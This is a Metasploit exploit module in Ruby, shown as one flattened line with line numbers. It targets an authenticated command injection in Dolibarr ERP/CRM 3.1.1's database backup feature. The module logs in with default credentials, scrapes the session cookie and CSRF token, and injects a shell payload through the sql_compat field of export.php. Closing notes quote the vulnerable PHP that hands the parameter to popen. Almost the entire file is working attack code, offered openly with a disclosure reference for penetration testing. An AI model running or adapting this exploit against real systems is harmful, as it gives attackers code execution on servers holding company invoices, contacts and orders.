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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection", 'Description'=> %q{ This module exploits a vulnerability found in Dolibarr ERP/CRM's backup feature.This software is used to manage a company's business information such as contacts, invoices, orders, stocks, agenda, etc. When processing a database backup request, the export.php function does not check the input given to the sql_compat parameter, which allows a remote authenticated attacker to inject system commands into it, and then gain arbitrary code execution. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',#Discovery, PoC 'sinn3r'#Metasploit ], 'References' => [ ['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78'] ], 'Arch'=> ARCH_CMD, 'Compat'=> { 'PayloadType' => 'cmd' }, 'Platform' => ['unix', 'linux'], 'Targets'=> [ # Older versions are probably also vulnerable according to # Nahuel's report on full disclosure ['Dolibarr 3.1.1 on Linux', {}] ], 'Privileged' => false, 'DisclosureDate' => "Apr 6 2012", 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME',[true, 'Dolibarr Username', 'admin']), OptString.new('PASSWORD',[true, 'Dolibarr Password', 'test']), OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/']) ], self.class) end def check res = send_request_raw({ 'method' => 'GET', 'uri'=> target_uri.path }) if res.body =~ /Dolibarr 3\.1\.1/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def get_sid_token res = send_request_raw({ 'method' => 'GET', 'uri'=> @uri.path }) # Get the session ID from the cookie m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/) id = (m.nil?) ? nil : m[1] # Get the token from the decompressed HTTP body response m = res.body.match(/type="hidden" name="token" value="(.+)"/) token = (m.nil?) ? nil : m[1] return id, token end def login(sid, token) res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{@uri.path}index.php", 'cookie' => sid, 'vars_post' => { 'token' => token, 'loginfunction' => 'loginfunction', 'tz'=> '-6', 'dst' => '1', 'screenwidth' => '1093', 'screenheight'=> '842', 'username'=> datastore['USERNAME'], 'password'=> datastore['PASSWORD'] } }) location = res.headers['Location'] return (location =~ /admin\//) end def exploit @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" print_status("#{peer} - Getting the sid and token...") sid, token = get_sid_token if sid.nil? print_error("#{peer} - Unable to retrieve a session ID") return elsif token.nil? print_error("#{peer} - Unable to retrieve a token") return end user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"") success = login(sid, token) if not success print_error("#{peer} - Unable to login") return end print_status("#{peer} - Sending malicious request...") res = send_request_cgi({ 'method'=> 'POST', 'uri' => @uri.path + "admin/tools/export.php", 'cookie'=> sid, 'vars_post' => { 'token' => token, 'export_type' => 'server', 'what'=> 'mysql', 'mysqldump' => '/usr/bin/mysqldump', 'use_transaction' => 'yes', 'disable_fk'=> 'yes', 'sql_compat'=> ";#{payload.encoded};", 'sql_structure' => 'structure', 'drop'=> '1', 'sql_data'=> 'data', 'showcolumns' => 'yes', 'extended_ins'=> 'yes', 'delayed' => 'yes', 'sql_ignore'=> 'yes', 'hexforbinary'=> 'yes', 'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql', 'compression' => 'none' } }) end end =begin Notes: 114if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"]; ... 137$paramcrypted=$param; ... 159$fullcommandcrypted=$command." ".$paramcrypted." 2>&1"; ... 165if ($handle) 166{ .... 169$handlein = popen($fullcommandclear, 'r'); .... 185} =end |
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